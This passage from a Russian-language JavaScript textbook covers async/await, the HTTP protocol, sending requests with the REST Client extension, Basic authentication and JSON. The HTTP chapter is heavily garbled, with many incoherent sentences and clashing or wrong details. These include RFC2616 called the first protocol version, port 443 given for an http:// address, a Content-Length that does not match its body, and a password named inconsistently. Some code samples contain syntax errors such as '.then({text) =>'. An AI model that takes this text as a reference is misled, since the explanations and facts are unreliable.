const getError = () => new Promise((resolve, reject) => reject('Произошла ошибка'));
```

На практике методы `resolve()` и `reject()` применяются в первую очередь для целей разработки: проверки кода, написания вспомогательных функций на промисах и т. д.

Теория ~ 6 минут

Глава 7.4. Async/Await

Промисы упрощают написание асинхронного кода. Строить цепочки вместо «ада колбэков» удобней, а поддерживать такой код проще. Но асинхронный код на промисах можно сделать ещё понятней. В этом помогут операторы `async` и `await`.

Промисы не нужны?

Нужны! В основе работы операторов `async` и `await` лежат промисы, просто эти операторы позволяют использовать промисы в другом синтаксисе. Их задача ещё больше упростить написание асинхронного кода и сделать его похожим (визуально!) на синхронный.

`async`

Оператор `async` позволяет определить асинхронную функцию. Результатом выполнения такой функции всегда будет новый промис. `async` применяется при объявлении функций как декларативно, так и для функций-выражений:

```
// Function Declaration
async function foo () {}

// Function Expression
const bar = async function () {};

// Arrow Function Expression
const baz = async () => {};

console.log(foo()); // Promise
console.log(bar()); // Promise
console.log(baz()); // Promise
```

Если бы не ключевое слово `async`, то это были бы обычные синхронные функции.

Попробуем немного усложнить пример и вернуть из асинхронной функции какое-нибудь значение. Пусть им станет традиционная фраза `Hello, world`:

```
async function foo () {
  return 'Hello, world';
}

foo()
  .then({text) => console.log(text)); // Hello, world
```

Асинхронная функция `foo` состоит из одного действия: возвращает строку `Hello, world`. Поскольку функция асинхронная, то результатом её выполнения будет промис (да-да, именно промис, а не строка `Hello, world` в чистом виде), и чтобы получить строку, нужно воспользоваться методом `then`. Это лишний раз доказывает, что промисы никуда не делись. Мы по-прежнему вызываем метод `then`, передаём ему функцию, которая будет вызвана при выполнении промиса, и так далее.

Достичь аналогичного результата можно с помощью статического метода `resolve` у объекта `Promise`:

```
const foo = () => Promise.resolve('Hello, world');

foo()
  .then({text) => console.log(text));
```

Да, оператор `async` упрощает создание асинхронных функций, но нам по-прежнему нужно использовать цепочки, и нельзя сказать, что синтаксис стал проще или ближе к синхронному. Поэтому продолжим...

`await`

Оператор `await` позволяет дождаться выполнения промиса, за счёт чего достигается сходство с синхронным кодом. Иными словами оператор `await` вместе с оператором `async` образуют тандем, который как раз позволяет сделать асинхронный код похожим на синхронный.

« **Важное уточнение,** оператор `await` *пока что* нельзя применять вне `async`-функций.

Рассмотрим предыдущий пример с `Hello, world` с использованием `await` вместо `then`:

```
async function foo () {
  return 'Hello, world';
}

(async function () {
  const text = await foo();
  console.log(text); // Hello, world
})();
```

Да, нам пришлось объявить ещё одну анонимную самовызывающуюся `async`-функцию, чтобы использовать `await` тут же для вывода в консоль. В рядовых задачах это не нужно.

`async` и `await` на практике

Попробуем решить типичную асинхронную задачу: запросим от сервера список публикаций. Сервером выступит уже знакомый вам сайт «JSON Placeholder».

Как это бы выглядело на промисах:

```
function getPosts (callback) {
  fetch('https://jsonplaceholder.typicode.com/posts')
    .then((response) => response.json())
    .then(callback);
}

getPosts((posts) => {
  console.log('Список публикаций:');
  console.log(posts);
});
```

Как это выглядит с `async` и `await`:

```
async function getPosts () {
  const response = await fetch('https://jsonplaceholder.typicode.com/posts');
  const posts = await response.json();

  return posts;
}

(async function () {
  const posts = await getPosts();
  console.log('Список публикаций:');
  console.log(posts); // Выведет массив с данными
})();
```

Асинхронная функция `getPosts` вызывает `fetch` для отправки запроса на получение списка публикаций. Затем извлекает и разбирает данные вызовом `response.json()`. Метод `json()` тоже возвращает промис, поэтому к нему тоже применяет оператор `await`. После мы возвращаем из `getPosts` промис с готовыми данными. Нам остаётся лишь их получить в нужном месте, например в анонимной самовызывающейся `async`-функции.

В строчках или количестве символов мы не выиграли, но с `async` и `await` асинхронный код стал похожим на синхронный, что снижает риск запутаться в колбэках и цепочках.

Обработка ошибок

При работе с промисами для обработки ошибок используется метод `catch`. А как с этим обстоят дела при использовании операторов `async` и `await`?

При использовании `async` и `await` обрабатывать ошибки можно с помощью конструкции `try...catch`:

```
async function getPosts () {
  let response;

  try {
    // Специально укажем некорректный адрес /404
    response = await fetch('https://jsonplaceholder.typicode.com/404');
    if (!response.ok) {
      throw new Error(`${response.status} — ${response.statusText}`);
    }
  } catch (err) {
    // В случае ошибки вернём пустой массив публикаций,
    // но можно делать, что угодно
    return [];
  }

  const posts = await response.json();

  return posts;
}

(async function () {
  const posts = await getPosts();
  console.log('Список публикаций:');
  console.log(posts); // []
})();
```

При выполнении метода `fetch` мы проверяем свойство ответа `ok`, и если запрос был выполнен с ошибкой, то бросаем исключение, которое будет перехвачено в блоке `try...catch`. И в этом случае функция `getPosts` вернёт промис с пустым массивом в качестве данных.

Резюме

Операторы `async` и `await` упрощают написание асинхронного кода. В основе лежат промисы, поэтому, чтобы применять новые операторы, предварительно необходимо разобраться с промисами. Оператор `await` в настоящее время нельзя применять вне асинхронных функций. Однако, такая возможность должна появиться с выходом спецификации ECMAScript 2021.

Глава 7.5. Протокол HTTP

HTTP — это сетевой протокол прикладного уровня, то есть для коммуникации между программами. Протокол появился в начале 90-х и применяется до сих пор. Аббревиатура HTTP расшифровывается как «HyperText Transfer Protocol» (протокол передачи гипертекста).

У него протокола есть несколько версий. На сегодняшний день актуальными являются версии 1.1 и 2.0. Последняя версия стандартизирована второй версией появилась в 2015 году. Сейчас идёт работа над третьей версией.

Все информация в любых протоколах представлена в документах RFC (Request for Comments). Протокол HTTP как является исключением. Полные сведения о первой версии протокола детально описаны в RFC2616.

Изначально протокол HTTP проектировался для передачи гипертекста (основной разновидности гипертекста). Однако, сегодня он используется и в качестве транспорта для передачи информации другим протоколам прикладного уровня. Такие протоколы как XML-RPC, WebDav, WS могут использовать HTTP в качестве транспорта.

Рисунок 1. Транспортные и прикладные протоколы

Принцип работы

С HTTP протоколом вы знакомились постоянно — на себе ежесекунда взаимодействуете. Всякий раз при переходе на любой веб-сайт происходит именно HTTP протокол. Браузер использует его для взаимодействия с сервером.

Возможно, вы этого не замечаете, но каждый раз вводя в браузере адресную строку. Современные браузеры не требуют исполнения этого правила. Более того, по умолчанию они скрывают применяемый протокол. Обратите внимание на адресную строку в Google Chrome и отсутствие адреса без указания протокола. Однако, если кликнуть в адресную строку, то адрес отображается полностью, включая протокол.

Рисунок 2. Протокол в адресной строке

На второе различие видно, что используется протокол HTTPS. Именно о нём мы расскажем, чем он отличается от HTTP.

Напомним HTTP протокол решает задачу обмена данными. Участники обмена: сервер и клиент. Клиент (например, браузер) формирует запрос и отправляет его серверу. Сервер (например веб-сервер) получает запрос, интерпретирует и формирует ответ. Клиент получив ответ, обрабатывает его в зависимости каков он действие. Например, отрисовывает страницу.

Рисунок 3. HTTP в действии

Общий принцип должен быть понятен, но как именно браузер соединяется с сервером? Ведь на сервере могут быть запущены сотни приложений, которые принимают соединения. Как браузер находит именно веб-сервер?

Когда вы вводите адрес сайта в адресной строке и нажимаете `Enter`, происходит примерно следующее (рассматриваем максимально упрощённый алгоритм).

Чтобы соединиться с сервером, браузер необходимо получить его IP-адрес. Мы привыкли пользоваться символьными адресами — их проще запомнить, чем сочетания цифр. Поэтому, необходо выполнить чисто. После ввода в адресной строке `htmlacademy.ru`, первой задачей браузера станет получение IP-адреса для `htmlacademy.ru`. Для этого он выполнит запрос к DNS-серверу, который на основании символьного адреса вернёт IP-адрес: `178.79.181.169`.

DNS-сервер — это сервер, на которого запущено приложение для обработки DNS-запросов. На основании символьного адреса (например, `htmlacademy.ru`) DNS-сервер возвращает IP-адрес сервера.

Получив IP-адрес, браузер попытается установить соединение с сервером. Для этого он воспользуется протоколом транспортного уровня — TCP. На сервере может быть запущено множество сервисов, но браузер по умолчанию подключается к 80-у порту. Почему именно и какие — рассказали позже.

Установив соединение, браузер формирует HTTP-запрос и передаёт его серверу. Здесь в игру вступает в работу протокол HTTP. Для формирования, браузер и сервер, начинают общаться. Браузер направляет запрос, а сервер — ответ. Запрос — это обычный текст, который содержит в себе технические протокола. Запрос включает в себя служебную информацию и, самое главное, адрес ресурса, который требуется получить.

Вернёмся к номеру порта. А почему браузер пытается установить соединение именно на 80-й порт? Как он определяет, что это ждёт именно там? По умолчанию веб-серверы ожидают подключений именно на 80-й порту. Это договорённость.

Это, конечно, не означает, что веб-сервер может работать только на 80-м порту. Администратор сервера может изменить правило игра и настроить веб-сервер для приёма соединений от клиентов на другой порт. Например, `3000`.

В этом случае порт необходимо указать самостоятельно при вводе адреса. Порт указывается после символа двоеточие (`:`). Например, если сервер `htmlacademy.ru` принимает соединения на порт `3000`, то адрес станет таким: `http://htmlacademy.ru:3000`.

HTTP-запрос

HTTP-запрос состоит из нескольких частей: строка запроса, заголовки (служебная информация) и тело запроса (body). Обязательной является первая часть. Заголовки и тело запроса могут отсутствовать.

Рисунок 4. Структура HTTP-запроса

Строка запроса

Строка запроса начинается с определения HTTP-метода. Метод позволяет понять серверу как следует обрабатывать запрос. Методы определены в спецификации. Их немало, но мы начнём все прямо сейчас на курсе. Мы постепенно разберёмся с основными на практике.

После HTTP-метода указывается адрес ресурса (путь, куда отправлен запрос) и версия HTTP-протокола (с адресом ресурса всё отчасти понятно: `/` корень сайта, `/about.html` страница `about.html` и так далее.

С версией протокола всё ещё не очевидно. Из названия. Сегодня чаще всего используется версия 1.1. Первая версия (`1.0`) тоже используется, но реже. Между версиями есть существенные различия. В новых версиях протокола добавлены возможности. Соответственно бывают ситуации, когда клиенты различаются в отдельном разделе. Пример строки запроса.

```
HEAD /posts HTTP/1.1
```

Заголовки (Headers)

После строки запроса можно указать дополнительную информацию, которая может пригодиться серверу для обработки запроса. Обратите внимание на слово «можно». Заголовков может и не быть (при использовании первой версии протокола), но на практике такое бывает редко. Каждый заголовок строго описывается на отдельной строке в формате `ключ:значение`.

```
HEAD /posts HTTP/1.1
User-Agent: Google Chrome
```

В примере мы указали заголовок «User-Agent». Это информационный заголовок, который обычно содержит название браузера или программы (например, названия браузеров), которая сформировала запрос. Сервер может использовать эти данные для определения используют версиии сигнур. Но это необязательно. Кроме того, в данной ситуации клиентом выступает не браузер или приложение CurlHttpClient. Последний особенно удобен в плане автоматизации.

Стандартизация протоколов определяет множество заголовков (`Content-Type`, `Content-Length`, `Host` и другие), но есть возможность использовать собственные заголовки. Это может потребовать при передаче данных дополнительной информации, специфичной для определённого приложения. Такие заголовки принято называть с Super-«X»-Header.

```
HEAD /post HTTP/1.1
User-Agent: Google Chrome
X-Token: secret token
```

В примере приведён собственный заголовок `X-Token` со значением `secret token`. Вы можете описать сколько угодно таких заголовков.

Заголовок Host

Вернёмся к стандартным заголовкам и обсудим наиболее важный из них — `Host`. Он появился в версии протокола `1.1` и является обязательным. Поэтому, если в тексте запроса вы указали версию протокола HTTP не `1.1` и выше, то важно не забыть указать заголовок `Host`.

Почему этот заголовок так важен? Дело в том, что на одном сервере может размещаться несколько веб-сайтов. Сервер одно, а хего адрес IP адрес, а сайтов много, и все на разных доменах. Ситуация типичная. В связи каждое этого запрашивать на сервере, что перед тем, как отправить запрос, браузер определяет IP-адрес. Но на одном сервере может быть несколько IP-адресов. Например, на одном сервере размещаются веб-сайты (с разными доменами), то как сервер поймёт, для какого именно веб-сайта предназначен запрос?

В этом году поможет значение, указанное в заголовке `Host`. Когда разрабатывалась первая версия протокола, предполагалось, что на одном сервере будет только один веб-сайт. Предположение, что на одном сервере может размещаться только один веб-сайт. Это простое для отличного по другому сайта нечего, а количество IP-адресов ограничено. Это предположение в необходимости обновления протокола.

Одной из новинок версии `1.1` стала поддержка виртуальных хостов. На одном сервере может быть произвольное количество разных веб-сайтов. Чтобы веб-сервер понимал, кому предназначен запрос, применяется заголовок `Host`. Рассмотрим пример:

```
HEAD /posts HTTP/1.1
Host: journalcutter.tipicode.com
```

Значение заголовка `Host` является адрес хоста `journalcutter.tipicode.com`. Неважно сколько веб-сайтов расположится на сервере, запрос будет передан именно `journalcutter.tipicode.com`.

А что же будет если не указать заголовок `Host`? Всё равно отправится? Нет, не в виде ошибки. Проигнорирует любой веб-сервер наступит так, что у него есть хост, который использовался по умолчанию. Если вы не указали `Host`, то запрос будет выполнен для веб-сайта, который прописан в настройках по умолчанию.

Тело запроса (Body)

После заголовков опциональности тело запроса. Тело запроса необязательно. В одном запросе оно может быть, а другом нет. Зачем же нужно тело запроса? Если заголовки позволяют передать различные служебную информацию (например отличают запрос), то в теле запроса передаются полезные данные.

Простой пример. Вам вам приходилось сталкиваться с различными формами на веб страницах. Обязательная заказ и которой нагружена, форма ввода в закрытую часть сайта и так далее. Формы применяются везде. Так вот, при отправке формы на сервере формируется соответствующий HTTP-запрос. Введённые в форму данные будут подставлены в специальном формате в тело запроса. Рассмотрим на примере:

```
POST /posts HTTP/1.1
Host: journalcutter.tipicode.com
Content-Type: application/json
Content-Length: 86

{
  "title": "Новая публикация",
  "body": "Текст публикации",
  "user_id": 3232
}
```

Мы проверим пример запроса `POST` к ресурсу `/posts`, который `journalcutter.tipicode.com`. Это этот ресурс сервер ожидает получить данные в формате JSON, поэтому для обозначения стандартный заголовок `Content-Type`. В нём определяем тип содержимого (`application/json`). Более подробно о заголовке и типе содержимого мы поговорим попозже в специальном.

После заголовка пока пропустим, мы использовали ещё один стандартный заголовок `Content-Length`. Этот заголовок сообщает серверу о размере тела запроса. Значение указывается в Байтах. В нашем случае, тело запроса занимает 86 символов. Сервер будет ожидать получения именно такого количества Байтов, как и указано в этом заголовке.

Перечисленные заголовки важны для сервера, чтобы он правильно обработал запрос. Представьте себе на чистую страницу. Как понять, что данные пришли именно в JSON формате? Именно поэтому для расторопа и определяется тип запрашиваемых пунктов по порядку, если клиент сам сообщает тип данных и их размер. Заголовки `Content-Type` и `Content-Length` были созданы именно для этого.

Хорошо, если с типом контента всё более менее понятно, то к чем сказал `Content-Length`? Почему сервер не может дождаться пока клиент передаст полностью тело запроса? Этим занимается TCP. А как понять, когда запрос передан полностью? Это забывает HTTP — текстовый протокол. Соответственно используются максимально простые правила.

Об одном таком правиле уже говорили: каждый заголовок отличается от отдельной строки. Таким образом, сервер может отделить один заголовок от другого с помощью символа перевода строки.

Есть и другое правило. Для завершения запроса в тексте достаточно добавить два символа перевода строки подряд. Это стоит сначала для сервера, что запрос завершён. Что как быть с телом? Ведь тело тоже может содержать символы перевода строк? Как сервер поймёт, что клиент клиент завершил запрос или передача тела запроса полностью? Это забывает HTTP — текстовый протокол. Соответственно используются максимально простые правила.

Один из способов решения этой задачи заключается в применении заголовка `Content-Length`. Заголовок позволяет задать длину тела запроса, а сервер будет ждать получения ровно столько Байтов, сколько указано в заголовке `Content-Length`.

Рассмотрим пример запроса, который формируется при отправке содержимого какой-нибудь формы. Пусть такой формой станет выполненная форма ввода логина и пароля на каком-нибудь веб-сайте. Текст HTTP запроса может выглядеть так.

```
POST /auth HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

login=admin&password=root
```

Строка запроса вроде мы разобрали. Заголовок `Content-Type` мы рассмотрим попозже. Это веб-следует для заголовка. Для `Content-Type` стоит значение на указанном значении `application/x-www-form-urlencoded`. Такой тип используется при передаче значений из форм (если форма не использовать для отправки данных данных — файлов). Он позволяет передавать пары ключ-значение. Это значения формы введенные в форму: `login=admin&password=root`.

В заголовке `Content-Length` указывается размер тела запроса. Длина строки тела запроса как раз равна 26 символам. Дальше идёт тело запроса. Обратите внимание на формат. Ключи отделены от значений знаком равенства и описаны следующей парой значения и качестве логина (`login`) — `admin`, а значение `secret` в качестве пароля (`password`).

Общий принцип должен быть понятен. Вопрос может возникнуть только с названием ключей. Откуда появляется значение `login`, `password`? Они формируются на основании имён полей ввода в форме.

Тела на этот пример запроса, внимательные читатели могут задаться вопросом: не что, если в значении ключей или значениях есть знаки `&` и `=`? Ведь они используются для разделения пар ключей и пар обработки запроса. Такая ситуация действительно может произойти. Это задача решается за счёт кодирования передаваемых значений. При отправке форм браузер самостоятельно занимается кодированием. Более подробно про это мы сможем прочитать на MDN.

HTTP-ответ

Мы познакомились со структурой HTTP-запроса. Этим знанием достаточно для понимания работы HTTP-протокола на базовом уровне. Чуть позже мы потренируемся в написании и отправке запросов, а пока обсудим, что из себя представляет ответ от сервера. Ответ сервера запросов заключается в получении ответов. Начнём с рассмотрения структуры ответа (смотри рисунок 5).

Рисунок 5. Структура HTTP-ответа

Начинается HTTP-ответ со строки состояния (status line). В ней указывается версия протокола (HTTP/1.1), код состояния (`200`) и текстовое сообщение с описанием причины ответа (`OK`). Не плохо разумно представлено ответ на успешно выполненный запрос. Ок этом говорит код состояния `200`. В стандартизации протокола определено множество кодов состояния. Каждый такой код состоит из трёх цифр. Первая цифра определяет класс состояния, а две последующие — статус выполнения операции. Стандартизация определяет 5 классов состояний:

- `1` — информационные (informational);
- `2` — успешные (success);
- `3` — перенаправление (redirection);
- `4` — ошибка клиента (client error);
- `5` — ошибка сервера (server error).

Вторая и третья цифры уточняют детали. Были сказано, что коды состояний, которые начинаются с `2**`, означают успех выполнения запроса. Чтобы не путаться разобраться в поиске, что код означает, стандартизация закрепляет за каждым текстовое значение (обязательно). Например, для кода `200` таким сообщением стало `OK`.

После строки состояния идут заголовки. Принцип описания заголовков тот же самый — `ключ:значение`. Как и клиент, сервер может передавать что-нибудь полезное заголовок. Если тело ответа не зает с какого то заголовка, то начало он случится. Заголовок позволяет будет проигнорирован.

Дальше идёт тело ответа. В теле содержится полезная данная. Например, когда браузер выполняет запрос методом `GET` для получения страницы, то в теле ответа будет HTML код запрашиваемой страницы.

HTTP и HTTPS

HTTPS — это расширение протокола HTTP, в нём самостоятельно протокол. Оно позволяет подключиться шифрование трафика, то есть повышает безопасность. Аббревиатура расшифровывается так: HyperText Transfer Protocol Secure — безопасный протокол передачи гипертекста. Соединение, установленное через HTTPS, шифруется. Таким образом, злоумыслить перехватить перехватить.

Детально рассматривать HTTPS не будем. Более подробные информация доступна в этой статье. Акцентируем внимание лишь на порте.

Вы знаете, по умолчанию веб-сервер ожидает подключения на 80-й порт. Эта договорённость отправлены для протокола HTTP. А для HTTPS стандартный сервер ожидает другое порядка: веб-серверы ожидают безопасные подключения по умолчанию на 443 порту.

Например, чтобы выполнить метод `HEAD` для `http://htmlacademy.ru`, нам необходимо установить соединение с `443` портом вместо 80-го.

Резюме

Стандартизация протокола HTTP предусматривает множество заголовков и методов. Их не нужно заучивать прямо сейчас. На данном этапе важно понять общий принцип работы. С наиболее частотными методами и заголовками мы познакомимся при решении практических задач.

Глава 7.6. Практика выполнения HTTP-запросов

Самый простой способ познакомиться с нюансами работы протокола HTTP — научиться самостоятельно выполнять запросы. Обычно за вас это делает браузер. Прямо сейчас вашему браузеру пришлось отправить несколько HTTP-запросов, чтобы получить этот раздел учебника. Однако, браузер скрывает детали. Для вас всё сводится к вводу адреса и получению результата (готовой страницы). Как выглядит сам HTTP-запрос вы не знаете, но это легко исправить, посмотрев вкладку «Network» (сеть) в инструментах разработчика. На рисунке ниже красными стрелками отмечен HTTP-запрос: `https://htmlacademy.ru`.

Рисунок 1. HTTP-запрос к серверу

Остаётся понять, где писать текст запроса и как его отправлять. Решить эту задачу можно несколькими способами. Мы воспользуемся редактором кода VSCode и дополнительным расширением REST Client.

Рисунок 2. Расширение «REST Client»

Расширение позволяет создавать и отправлять HTTP-запросы прямо из текстового редактора. Установите расширение, а затем создайте новый файл с расширением `.http` (например, `queries.http`). В этом файле мы будем описывать и отправлять запросы.

Начнём тренировку с подготовки запроса с применением метода `HEAD`. Это один из самых простых в понимании HTTP-методов. Он позволяет запросить у сервера только заголовки — служебную информацию, без контента. А зачем может потребоваться выполнить такой запрос, если сервер не вернёт контент? Метод `HEAD` пригодится для предварительной подготовки. Например, узнать размер контента, который придётся загрузить, выполнив другой метод — `GET`.

С практической точки зрения, более распространённым является метод `GET` (до него мы доберёмся позже). Браузер использует его, когда запрашивает страницу или какие-то ресурсы (изображения, стили, шрифты и так далее) с сервера. Мы воспользуемся методом `HEAD` ради упрощения первого примера.

Напишем первый запрос. С помощью метода `HEAD` обратимся к ресурсу `/posts` сервиса «JSONPlaceHolder». Этот бесплатный сервис предоставляет тестовые данные для прототипирования приложений. Подобные сервисы удобно использовать, когда бэкенд не готов. Введите в созданном файле `queries.http` текст запроса:

```
HEAD /posts HTTP/1.1
Host: jsonplaceholder.typicode.com
```

Затем нажмите кнопку «Send Request». Кнопка доступна прямо в текстовом файле перед текстом запроса (смотри рисунок 3).

Рисунок 3. «Кнопка «Send request»

Запрос выполнится и ответ от сервера отобразится в отдельной вкладке справа (смотри рисунок 4).

Рисунок 4. «REST Client» в действии»

В строке запроса мы указали HTTP-метод (`HEAD`), путь к ресурсу (`/posts`) и версию протокола (`HTTP/1.1`). На следующей строке начинается перечисление заголовков. Поскольку для этого запроса мы используем версию протокола `1.1`, то обязательно должны указать заголовок `Host`. О его предназначении мы рассказывали выше.

> Расширение REST-Client творит немного заказдовой магии. Объяснсим подробнёй. Мы описываем HTTP-запрос, и может сложиться впечатление, что соединение с сервером осуществляется именно с его помощью. Это не так. Напомним, HTTP — текстовый протокол прикладного уровня. Непосредственное соединение с сервером происходит по протоколу TCP/IP. Передача текста запроса осуществляется только после установки соединения.
>
> На этом «магия» не заканчивается. При использовании «Rest-Client» можно не писать заголовок `Host`, а указывать полный URL в строке запроса. «Rest-Client» корректно обработает такую запись.

Поздравлем, вы выполнили первый HTTP-запрос! Посмотрим на ответ сервера:

```
HTTP/1.1 200 OK
Date: Wed, 19 Apr 2021 08:28:02 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Encoding: gzip
X-Powered-By: Express
```

Сервер вернул больше информации, но мы намеренно её сократили. В первую очередь нас интересует строка состояния (первая строка) и заголовок `Content-Type`. В строке состояния мы видим, что запрос выполнен успешно. Об этом свидетельствует код состояния `200`. Дальше идёт перечисление различных заголовков. Их много. Обратите внимание, сервер также вернул нестандартные заголовки вроде `X-Powered-By`. Переходим к заголовку `Content-Type`. В нём указан тип `application/json`. На запрос `HEAD` сервер не вернул содержимое в формате JSON, но он обязательно сделает это, когда мы выполним запрос `GET`. Таким образом, запрос `HEAD` позволяет нам получить только заголовки и при необходимости подготовиться. Попробуем теперь изменить HTTP-метод в запросе на `GET` и выполнить запрос:

```
GET /posts HTTP/1.1
Host: jsonplaceholder.typicode.com
```

> Обратите внимание, если вы хотите описать в файле `queries.http` несколько запросов, то каждый запрос следует отделить друг от друга тремя решётками. Если этого не сделать, то «Rest-Client» не сможет разобрать запросы и кнопка «Send Requests» не появится. Пример разделения запросов приведён на рисунке 5.

Рисунок 5. Результат выполнения GET-запроса

Мы поменяли метод `HEAD` на `GET` и теперь сервер вернул не только служебную информацию в виде заголовков, но и контент. В теле запроса находится данные в формате JSON. Попробуем другой пример. Отправим запрос на добавление новой публикации. Для этого подготовим запрос `POST`:

```
POST /posts HTTP/1.1
Host: jsonplaceholder.typicode.com
Content-Type: application/json
Content-Length: 88

{
    "title": "Новая публикация",
    "body": "Текст публикации",
    "userId": 31337
}
```

На этот запрос сервер ответит кодом состояния `201`. Текстовое описание кода даёт расшифровку кода: `Created`. Сервер успешно обработал запрос и создал новый ресурс. Обратите внимание на тело запроса. В теле мы видим данные в формате JSON — тот самый ресурс, который был создан сервером. А сколько занимает тело ответа? `125` байт. Об этом сервер сообщил в заголовке `Content-Length`:

```
HTTP/1.1 201 Created
Date: Wed, 07 Jul 2021 11:56:47 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 125
Connection: close

{
  "title": "Новая публикация",
  "body": "Текст публикации",
  "userId": 31337,
  "id": 101
}
```

Аутентификация и авторизация

При разработке веб-проектов нередко требуется ограничить доступ к определённым страницам. Например, есть страницы, которые доступны только зарегистрированным пользователям или страницы, доступные пользователям, оформившим подписку. Такие задачи решаются разными способами. Спецификация протокола HTTP определяет одно из таких решений. Оно называется базовая аутентификация (Basic authentication).

При помощи базовой аутентификации можно ограничить доступ к определённым страницам без программирования. При заходе на такую страницу браузер покажет модальное окно для ввода логина и пароля. Если в это окно ввести неправильные данные, то сервер вернёт код состояния `401 Unauthorized`, а браузер предложит ввести данные заново. И так несколько попыток.

Теперь поговорим о технических деталях и способах реализации. Чтобы браузер показал окно для ввода логина и пароля при обращении к закрытой странице, сервер должен вернуть код состояния `401`, и специальный заголовок. Ответ сервера будет примерно таким:

```
HTTP/1.1 401 Access Denied
WWW-Authenticate: Basic realm="Protected server"
```

Получив от сервера код `401` и заголовок `WWW-Authenticate`, браузер запросит логин и пароль от пользователя в специальном модальном окне. Пользователь вводит логин, пароль и отправляет их серверу. Браузер выполнит запрос:

```
GET /secret-page HTTP/1.1
Host: myserver.local
Authorization: Basic YWRtaW46MTIzNDU2
```

Первые две строки текста запроса вам хорошо известны — метод, адрес ресурса, хост и версия протокола. Логин и пароль, введённые пользователем передаются в заголовке `Authorization`. Значением этого заголовка станет строка `Basic` (basic authentication), а после неё логин и пароль. В приведённом примере запроса видно, что здесь явно чего-то не хватает. Вместо пары логин и пароль приведён набор символов. Он больше напоминает пароль. Закралась ошибка?

На самом деле никакой ошибки нет. Дело в том, что логин и пароль должны быть закодированы в base64. Base64 — это стандарт кодирования двоичных данных при помощи 64-х символов ASCII. Вы можете скопировать строку `YWRtaW46MTIzNDU2` и раскодировать её при помощи любого онлайн-сервиса. Попробуйте это сделать. В результате декодирования вы получите строку: `admin:123456`. Вот она уже больше похожа на комбинацию из логина и пароля. Друг от друга логин и пароль отделяется символом `:`.

Базовая аутентификация применяется не только для ограничения доступа к определённым страницам. Бэкенд может требовать передачу заголовка `Authorization`, например, при обращении к API сервера. Поэтому на практике вы обязательно столкнётесь с этим заголовком.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 8 минут

Глава 7.7. JSON

JSON (JavaScript Object Notation) — открытый текстовый формат для обмена данными. Формат разработан Дугласом Крокфордом. Отличительная особенность формата — его легко интерпретировать не только машинам, но и людям.

JSON хорошо читается людьми и прекрасно решает задачу передачи объектов, основанных на наборе из пар ключ-значение. Подробные сведения о формате доступны в документе RFC 4627.

Формат JSON берёт начало из JavaScript (вспомните аббревиатуру), но фактически не зависит от языка программирования. Это означает, что применять формат JSON можно и в других языках программирования. PHP, C#, Go, Python и многие другие языки программирования поддерживают JSON по умолчанию (нативно) или с помощью вспомогательных библиотек.

За счёт универсальности формат JSON упрощает обмен данными. Не важно, какие технологии используются на клиенте или сервере. Они смогут договориться за счёт универсального формата.

JSON не единственный формат для обмена данными. Есть более сложные форматы. Например, XML. Этот формат долгое время был стандартом при обмене данными, но в итоге JSON вытеснил его из многих сценариев за счёт своей лаконичности.

Синтаксис

Если вы освоили массивы и объекты в JavaScript, то с чтением JSON сложностей не возникнет. Посмотрите и попробуйте разобрать следующий JSON:

```
{
    "first_name": "Ivan",
    "last_name": "Sidorov"
}
```

Ничего не напоминает? Всё верно, выглядит как описание объекта в JavaScript. На самом деле это текст в формате JSON. Внешне он похож на описание объекта в JavaScript с помощью литерала, но на самом деле это не объект. Обычная строка, которую без проблем можно передать куда угодно. Например, с клиента на сервер.

Содержимое JSON — это коллекция из пар ключ/значение. Ключи определяются слева, а значение отделяется символом двоеточия (`:`). Синтаксически это выглядит так, как если описать обычный JavaScript-объект.

Важная особенность, что ключи должны быть обрамлены в двойные кавычки. Пожалуй, это главное отличие от описания объектов в JavaScript, где кавычки необязательны при описании ключей. Если их не поставить в JSON, то он будет считаться невалидным, и его не смогут разобрать парсеры.

Типы данных в JSON

Мы рассмотрели самый простой пример, где описали JSON-документ с помощью коллекции из пар ключ/значение. Все значения были строками (они взяты в кавычки), но этим формат JSON не ограничивается.

Начнём с главного. В формате JSON вам доступны две структуры данных — коллекция из пар ключ/значение и упорядоченный список значений. Не пугайтесь слов «структура данных». Это понятие мы обязательно обсудим позже. Пока просто запомните, что в данном контексте под ним подразумеваются объекты (коллекция из пар ключ/значение) и массивы (упорядоченный список значений) из JavaScript.

Почему здесь акцентировано внимание именно на JavaScript? Дело в том, что перечисленные коллекции могут по-разному быть реализованы в других языках программирования. В одних языках эти структуры реализуются с помощью объектов и массивов, в других — с помощью списков и структур, в третьих — по-другому и так далее. Нас интересует JavaScript, поэтому под коллекцией «ключ/значение» будем подразумевать объекты, а под упорядоченным списком — массивы.

Значение в формате JSON может быть одним из шести типов: объект, строка, массив, число, булево и `null`. Других типов значений JSON содержать не может. Рассмотрим пример:

```
{
    "band": "Bon Jovi",
    "title": "Slippery when wet",
    "year": 1986,
    "tracks": [
        "Let it rock",
        "You give love a bad name",
        "Livin'on a prayer",
        "Social Disease"
    ],
    "members": [
        {
            "name": "Jon Bon Jovi",
            "role": "singer",
            "active": true
        },
        {
            "name": "Richie Sambora",
            "role": "guitar player",
            "active": false
        }
    ],
    "relatedGroups": null
}
```

В примере выше приведён текст в формате JSON с описанием альбома музыкальной группы. Для демонстрации в нём задействованы все типы данных, поддерживаемые стандартом JSON. Разберём в деталях.

Строковые значения должны быть взяты в двойные кавычки. Здесь мало что отличается от JavaScript. Единственное — кавычки должны быть двойными. Числа (`year`), булевы значения (`active`) и значения `null` пишутся как есть. Без каких-либо символов.

Обратите внимание: в примере используются вложенные структуры. Ключ `members` и `tracks` — это массивы значений. Внутри массива могут быть любые значения, поддерживаемые в JSON. Мы привели пример со строковыми значениями и объектами.

Начинаться JSON документ не обязан с объекта (как в нашем примере). Может начинаться с массива. Например, сервер возвращает информацию о всех альбомах музыкального коллектива:

```
[
    {
        "band": "Bon Jovi",
        "title": "Slippery when wet"
    },
    {
        "band": "Bon Jovi",
        "title": "Have a nice day"
    }
]
```

Оптимизация размера JSON

Представленный выше пример хорош с точки зрения читабельности. Структура прекрасно читается. Однако, это не означает, что JSON обязан быть отбит отступами. Для оптимизации отступы, лишние пробелы можно удалить. Таким образом, JSON превратится в длинную строку, но размер передаваемых данных сократится. Такой подход часто применяется на практике.

Валидация JSON

